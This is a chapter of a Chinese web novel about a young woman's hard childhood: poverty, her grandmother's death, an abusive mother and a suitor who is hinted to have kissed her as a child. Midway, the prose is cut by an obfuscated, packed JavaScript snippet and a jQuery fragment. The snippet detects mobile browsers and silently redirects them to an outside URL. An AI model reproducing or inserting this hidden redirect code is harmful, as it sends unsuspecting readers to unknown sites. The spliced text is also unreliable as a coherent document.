关于林予星的小时候，黎嘉年从黎欣那听说过，事无巨细，发生在那个年代，再去回想，多少有种做梦般的荒诞感。
在深城读书时，需要花个几万买学位塞进学校读书。
回到山城，仍然要面对同样境地。
没有钱，没有关系，就没有书读。
小孩太多，家长坚信棍棒底下出孝子。
一个班六七十个学生是常态，老师掌箍体罚也是常事。
在父亲即将再婚前夕，林予星回到了母亲身边。
她撒谎、造谣、扭曲事实，在一次暑假跟随母亲离开深城，再未回去过。
深城，这座城市从小带给她的只有压抑。
设立经济特区与她开始记事的时间不过相差二十年。
二十年还不足以改头换面。
她在这座城长大，抬起头看到的永远是灰扑扑的建筑，像被车尾气包围，笼罩在一层灰纱中。
读不完的书。
每天需要背诵的单词。
电视上播放的《翼年代记》是灰色调。
无法共处的朋友，中途转学的藏区学生好奇接触下，学会的几句藏语长大后忘得一干二净。
连同她本该会的粤语，在周围皆是客家话的围拢中，慢慢就忘了如何讲。唯一没忘的，是靠着TVB剧知道其中意思。
于是造成现在林予星会听不太会说。
想再学会，倒是不难，但想练到从前母语级别，多少有点阻碍。
在山城的十年，时间抹去她曾在深城生活过的痕迹，一点一滴将她变成属于这个地方的人。
林予星错过深城高速发展的年代，窝在深山中长到成年的时间里，性格也从活泼变得内向。甚至连年末总结，老师都在小本子中写下一行字：过于孤僻不合群，望来年改变。
“你后悔跟你妈妈回去吗？”黎嘉年问。
他不知道，他问出的这句话，熟悉林予星身边的人都曾问过。
你后悔吗？
后悔没有留在深城。
后悔到那教育落后，思想封建的山城吗？
林予星摇摇头：“没有。”
她从未后悔回去。
如果不回去，她不会有一段无忧无虑无拘无束的山村时光。
也没有办法认识程芷琳，更没办法知道自己未来想要什么。
春季耕种，夏季看雨。
秋季秋收，冬季歇息。
林予星印象最深的，是外公曾在别家抱回来的小黄狗，可惜没撑过狗瘟，葬在柚子树下，那是她第一次直面死亡。
彼时，她已经回到母亲身边，去镇上读书，每个周末都会由母亲开着摩托车碾过黄泥路，送去山上小小的黄土屋，那有一片果园，是她的乐园。
小黄狗死前撑了两日，外公说它就等在家门口，熬着熬着，没熬到她回来，等发现时，身体已经僵硬。
就走在她回来的前一晚。
头发还未全白的外公在柚子树下挖了个大坑，又铺了生石灰，小黄狗就这么安静地消失在林予星生命中，也安静送走她的童年。
从此以后，不会再有个毛茸茸的身影蹲在土屋前等待她回来。
后来外婆生病，果园卖掉，由他人承包。
那么大一片果园，三块池塘。
未熟的李子、桃子、柚子、香蕉，打包价格一万出头卖出。
她彻底失去童年踪迹。
在那之后很长一段时间，她都在沉在负面情绪中无法走出。
好景不长，又过了几年，外婆因哮喘离世。
自卖掉果园后外婆身体便已不是很好，瘦瘦小小的人提前拍了遗照，自外婆去世后就放在灵堂正中，默默注视前来吊唁的亲朋好友。
外公曾买来逗林予星玩的拉琴人偶拉着《梁祝》，放在照片前循环不息。
在她印象中总穿着花紫上衣黑长裤，戴着氧化成黄色、竹片编织斗笠的老太太忙碌一辈子，在她心口上扎下一根针后什么都没留下。
在医院时，母亲赶自己走，不想让自己看到。
可林予星不听话，站在走廊外，透过半扇开着的蓝色窗户，鼻息间全是消毒水和苦药味道。
医院护士拉起蓝色不锈钢折叠屏风，隔绝病房中其他人视线，唯独没有隔绝她的视线。
老太太已没有血色，面上笼罩着雾蒙蒙的黑气，浑身皮肤枯黄，仿佛秋日落叶。
方方正正的病床成了刚刚洗净的盘，她落在盘中，时间腐蚀掉她的青春、她的声音、她的故事。最后她大张着嘴，努力想要喘上最后一口气。可来不及吸气，浑浊的眼珠倏然溃散，像被捅破的青蛙卵，黑色瞳孔骤然蒙上灰浊色。
不再挣扎着呼吸，不再试图喘气。
在周围儿女放声大哭中与世长辞。
老太太吐出的最后一口气化为祠堂中的香火，尸身燃烧，化为骨灰盒葬入椅子坟中。
阳光照常升起，夜晚总是降落。
老太太去世后第三天，林予星见到自己外公。
本着生肖相冲者回避的习俗，外公并未见他妻子最后一面。
他坐在母亲租来的出租屋中，一根又一根抽着烟。
苍老憔悴的脸上提不起半分笑意，身形佝偻，如同棵被蛀空的老槐树，将所有重量都压在在藤椅上。
外公看到她，皱皱巴巴的脸上半张脸不动，下半张脸却诡异地往上弯，不等他完成这个笑容，浑黄的眼珠骤然落下泪，沿着皱巴巴的眼圈落在地上。
相依相伴几十年光阴，从青葱岁月到古稀之年。
外公想的是什么呢？
是十几岁参加志愿军战争，少年意气风发归来，遇到外婆时的青涩。
是□□时二人搀扶南下，带着家当和孩子来到山城定居。
是生活磨灭爱情过后的一地鸡毛。
还是往后余生的孤独？
林予星读不懂的那滴泪，随着风干蒸发，渐渐撬动死亡认知。
母亲在外婆去世后愈发忙碌，做椅子坟墓需要不少钱，六个子女分摊下来也要一千块，让本就贫穷的小家雪上加霜。她开始没日没夜加班，回来还要做饭。
林予星帮不上母亲什么忙，只能替她备菜洗菜洗碗。
她不喜欢家里的高压锅，煮沸时总发出尖锐声响，下一秒就会爆炸般，可母亲偏偏喜欢用它做各种炖煮物。
做的最多的是花旗参炖瘦肉。
母亲不懂怎么爱她，只会买一堆滋补物半是强迫半是责骂要她喝下去。
红泥炖盅没有把手，林予星没有长茧的双手需要深入滚烫的高压锅内，隔着湿帕子把它拿出。
一次，两次……
三次，四次……
烫到指尖发红也无法顺利拿出。
母亲将她推开，骂骂咧咧拿出另外一条湿帕子，轻而易举就将炖盅放在快被蛀虫蛀空的桌上。
小盖子掀开，里面积攒的热气如同一团软乎乎的云，缭绕在盖上，散在空气中，逐渐消失。仍冒着气泡的清亮汤面油花很淡，将长满霉菌的厨房框入不规则油面。
花旗参的药味与炖出浅色浮沫的肉味交织，盛出一碗清亮黄汤，这次连同汤渣都不能剩下。
配料简单，没有放调料，微微苦的参汤入口后立时化为清甜，与炖煮的瘦肉和参片一起咀嚼，会越嚼越香，嚼成差不多能吞咽的程度甚至能品出几分药材本身的清香。
每隔一段时间，她就必须吃一次。
母亲不知哪来的执念，或是听了哪家老人说的话，非说这样养生，能治好她的贫血。
长大后林予星才知道，自己或许真有两广地区最为常见的地中海贫血，所以肤色比正常人白些，她没有去确认，想着死不了就不花钱去治了。
这么想着，她便也就这么稀里糊涂长大。
回看十几年间，母亲对她的爱藏得太深，以至于不去细想便无法觉察。
是的，无法觉察。
母亲的爱就像被药汁泡过的鞭子，当无法承受生活的苦，精疲力竭时，母亲便会举起鞭子打在她身上，发泄情绪。残留在鞭上的药汁却融入伤口，日复一日化为麻药，让她忘记身上曾有这么一道伤口。
疼痛、谩骂、压抑，是她童年最多感受到的情绪。
到了冬日，这种情绪会随着冻疮长起化脓，到气温转暖才会慢慢变成血痂脱落。
印象中的母亲会喝啤酒，喝客家娘酒，小酌怡情。
偶尔中个码，捡到现金便是母亲最快乐的时候。
"妹儿，走，带你去吃牛肉丸汤。"
用三个月工资攒下的摩托车沉重却稳当，林予星那时还小，爬上摩托车的动作笨拙且慢。母亲调整完后视镜，就会用她那缠满止血贴的双手将林予星扶到自己背后。
她们用捡来的十块钱花上五块去附近摊位点上有十颗牛肉丸的清汤，其中两颗还是看摊子的阿姨送的。
——那是母亲的小姐妹。
每次见面，她们都会聚在一处说起林予星如何如何难带，一日三餐吃了这么多却不长肉。以此为开头，再说起最近制衣厂近况。
林予星听着她们说话，努力吞下那过于滚烫的牛肉丸，烫地忍不住流泪。
母亲骂她没用，问她究竟哪里烫，说完拿过塑料勺吃下一颗，在肉丸摊老板回来时消灭那两颗多出的肉丸。
见摊主老板没觉察，两个大人才对视一眼，孩子偷糖那般相视而笑，默契聊起从前。
二十年前山城因着有廉价劳动力，吸引大批中间商拿着布料到此裁布做衣。
在那个年代，没有社保合同，没有加班费，做得好的按工时，宝妈和年纪较大的按件算。
母亲只读到六年级，小学都未毕业，出去闯荡第一站就是深城。彼时深城也在开发阶段，环境比山城还恶劣几分，八个人十个人挤在宿舍，洗澡在公厕，需要提防随时会破门而入的流氓进来偷看。
在这待遇下，母亲几经辗转回到山城，在此地扎根。
靠着没日没夜的工作干活撑起一个小家，头顶灯管若是闪烁，便会影响视力，专注一旦被分散，缝纫机针尖会毫不留情扎过指甲，将手指扎穿，在布上迅速印下血痕。
这样连轴转的工作与生活，母亲过了二十余年。
从头发乌黑到生出银丝。
抗老的油皮生出皱纹。
肚子上的圈圈也渐渐松垮，悬在裤腰上，像融化的冰淇淋，堆积在边沿。
尽管母亲已如此努力也并未得到她想要的生活。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143784|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三十不到便离婚的女人在信息闭塞的山城等同黄金，人人觊觎她所剩的价值。
还能生育。
肥美身躯还能提供性取悦。
介绍给她的男人流水般轮换一个又一个，投简历似的来到母亲面前。
或许是想要走出和父亲离婚时的阴影。
或许带着林予星太过缺钱。
或许是她累了。
母亲在她六年级时接受了个姓高的朝城男人。
他高瘦高瘦，说话轻声细语，莫名让林予星想到母亲做衣服用的软尺。
刚开始一切都很好，大家其乐融融，真像是一家人在生活。
男人在她们附近租房住下，还将她们带到他莞城打工的地方住过。
林予星真以为母亲和这个男人会走到最后，却发生了件让她感到不太舒服的事。
那时正值夏季，莞城工厂多，弄得到处乌烟瘴气。
就算窗户未关，那似有煤渣粒子的风像被拦下，空气凝滞到几乎窒息。
男人将租房处唯一的床让给了她，和母亲在客厅打地铺。
初来莞城，男人租房的家里堆得满满当当，黑夜里抬头低头都是不规则的阴影。
她甚至能听到死角处蟑螂啃食塑料的动静。
窸窸窣窣，还没有风。
狭小的出租屋像死掉的庵堂，沉闷闷的压下，没有活人气。
她翻来覆去睡不着，直至凌晨迷迷糊糊快昏睡过去时忽然听到"啪"一声轻响。
听动静硬是巴掌声。
随即而来的是低低说话声，她听不清。
林予星想去找自己母亲，和她一起睡。
辗转多次后假借要上厕所起身，连拖鞋都没穿就走出房间。
月色淡淡，视线所及皆是极冷的冷色调，如同在黑夜中倒下稀释过的蓝墨水。小窗外透入的光朦胧不清，却足以照亮视线所及。
男人一只枯瘦肮脏的手越过母亲粗胖腰际，按在柔软上揉捏，约莫是听到动静，迅速放开，懒懒搭在白腻腻的腰上。
林予星说不清自己是什么感受。
她蹲在厕所，不懂自己刚刚那瞬间袭上心头的情绪叫什么。
等她出来，母亲从席子上爬起，走进黑漆漆的房间，小声问她：“睡不着吗？”
自父母离异，林予星跟随母亲回到山城后，梦里总是不安，据母亲说一夜会惊醒好几次。可对她来说，离异并不是阴影，她并不知道自己的不安究竟来源何处。
很久之后林予星才明白，是随时被扔下的可能。
可在那时，她正上初一，不明白这些事情。
她只知道那晚两母女窝在陌生出租屋总算得以安眠。
如同这次。
林予星望着电视上光影变幻的画面，食困带来的疲惫感爬上眼皮，上下眼睫毛像是安了磁铁，要将她双眼合上。
屋子里很安静，静到她可以听到身旁黎嘉年的呼吸声，很轻很慢。
他身上熟悉的气味暖乎乎的，每寸都跟浸润过阳光那般，将她包裹进安全范围。
黎嘉年正挑选电影，觉察到她的安静，侧过头去看，恰好看到她在打哈欠。他停下按遥控器的动作，轻声问：“困了吗？我把黎欣房间铺好，你去里面睡。”
“不了，我在你沙发上眯会……”
林予星说着，身体已往扶手上倒去。
恍惚间，犹如夭折昙花，扎不深的根系无法支撑盛放的重量，直直坠入尘泥。
黎嘉年眼疾手快抓过自己背后云朵造型的抱枕，扶住她脑袋，塞进脊椎与沙发间的空隙。
“谢谢……”她困得睁不开眼，嘟囔吐出两个字。
“嗯，我就在这看会书，你可以睡久点。”他刻意压低声音。
林予星又含糊说了句什么，黎嘉年没听清，将沙发让给她睡，自己则站起来关电视，去房间拿自己常盖的薄毯给她盖上肚子。
她睡得毫无形象，因着身形清瘦，手长脚长，哪怕穿着睡衣披头散发也比常人多出几分美感。
他曾看过一副油画，是索罗拉的《午睡》。
全然放松的休憩姿态让他不禁想，沙发如果是草地就好了。
黎欣提过，从前林予星通常脱下校服当枕头，倒地就睡。
她说，外边比家里要暖和安全许多。
安全。
永远缺失的安全。
因为总是搬家被扔下，浮萍般飘着游着，于是干脆破罐子破摔，睡在外头的安全吗？
黎嘉年凝视她长发下半遮半掩的脸，宛如修剪稀碎黑绸缎下的石膏像。他忽然想起看过黎欣手机照片中她小时候的照片，变化不大，不过是从有点婴儿肥的鹅蛋脸彻底变成瓜子脸。
偷拍一张她会生气吗？
脑子霎那闪过这样的念头。
黎嘉年静默片刻，起身拿起书坐到另一边沙发。
思绪纷乱间，他想起黎欣曾跟自己说过，林予星母亲最终没有和那个朝城男人走下去。
明面上说是因为男人太穷，四十多岁还要租住在姐姐家。
但林予星说出她猜想过的另一个原因。
那男的趁大人不在家，吻过林予星。
或许，被她母亲知道了。